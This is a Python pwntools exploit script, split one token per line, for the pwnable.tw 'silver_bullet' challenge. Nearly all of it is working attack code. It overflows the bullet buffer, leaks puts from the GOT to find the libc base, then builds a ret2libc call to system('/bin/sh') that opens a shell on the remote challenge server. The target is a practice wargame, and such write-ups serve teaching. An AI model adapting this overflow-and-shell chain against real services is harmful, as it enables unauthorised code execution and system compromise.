from
pwn
import
*
debug
=
0
online
=
1
context(log_level
=
"debug"
, arch
=
'i386'
, os
=
"linux"
)
if
online
=
=
0
:
io
=
process(
"./silver_bullet"
)
libc
=
ELF(
"/lib/i386-linux-gnu/libc.so.6"
)
else
:
io
=
remote(
"chall.pwnable.tw"
,
10103
)
libc
=
ELF(
"./libc_32.so.6"
)
rl
=
lambda
a
=
False
: io.recvline(a)
ru
=
lambda
a,b
=
True
: io.recvuntil(a,b)
rn
=
lambda
x : io.recvn(x)
sn
=
lambda
x : io.send(x)
sl
=
lambda
x : io.sendline(x)
sa
=
lambda
a,b : io.sendafter(a,b)
sla
=
lambda
a,b : io.sendlineafter(a,b)
dbg
=
lambda
text
=
None
: gdb.attach(io, text)
lg
=
lambda
s,addr : log.info(
"\033[1;31;40m %s --> 0x%x \033[0m"
%
(s, addr))
uu32
=
lambda
data : u32(data.ljust(
4
,
"\x00"
))
uu64
=
lambda
data : u64(data.ljust(
8
,
"\x00"
))
def
Create(data):
ru(
"choice :"
)
sl(
"1"
)
ru(
"bullet :"
)
sl(data)
def
PowerUp(data):
ru(
"choice :"
)
sl(
"2"
)
ru(
"bullet :"
)
sl(data)
def
Beat():
ru(
"choice :"
)
sl(
"3"
)
main
=
0x8048954
def
exp(func, arg):
Create(
"A"
*
0x20
)
PowerUp(
"B"
*
0x10
)
PowerUp(p32(
0x7FFFFFFF
)
+
b
"A"
*
3
+
p32(func)
+
p32(main)
+
p32(arg))
Beat()
elf
=
ELF(
"./silver_bullet"
)
print
(
hex
(elf.got[
"puts"
]))
print
(
hex
(elf.plt[
"puts"
]))
exp(elf.plt[
'puts'
], elf.got[
'puts'
])
ru(
"win !!\n"
)
puts_addr
=
u32(io.recvuntil(
"\n"
, drop
=
True
).ljust(
4
, b
"\x00"
))
print
(
"puts_addr"
, puts_addr)
libc_base
=
puts_addr
-
libc.sym[
"puts"
]
system_addr
=
libc_base
+
libc.sym[
"system"
]
bin_sh_addr
=
libc_base
+
libc.search(b
"/bin/sh"
).__next__()
exp(system_addr, bin_sh_addr)
io.interactive()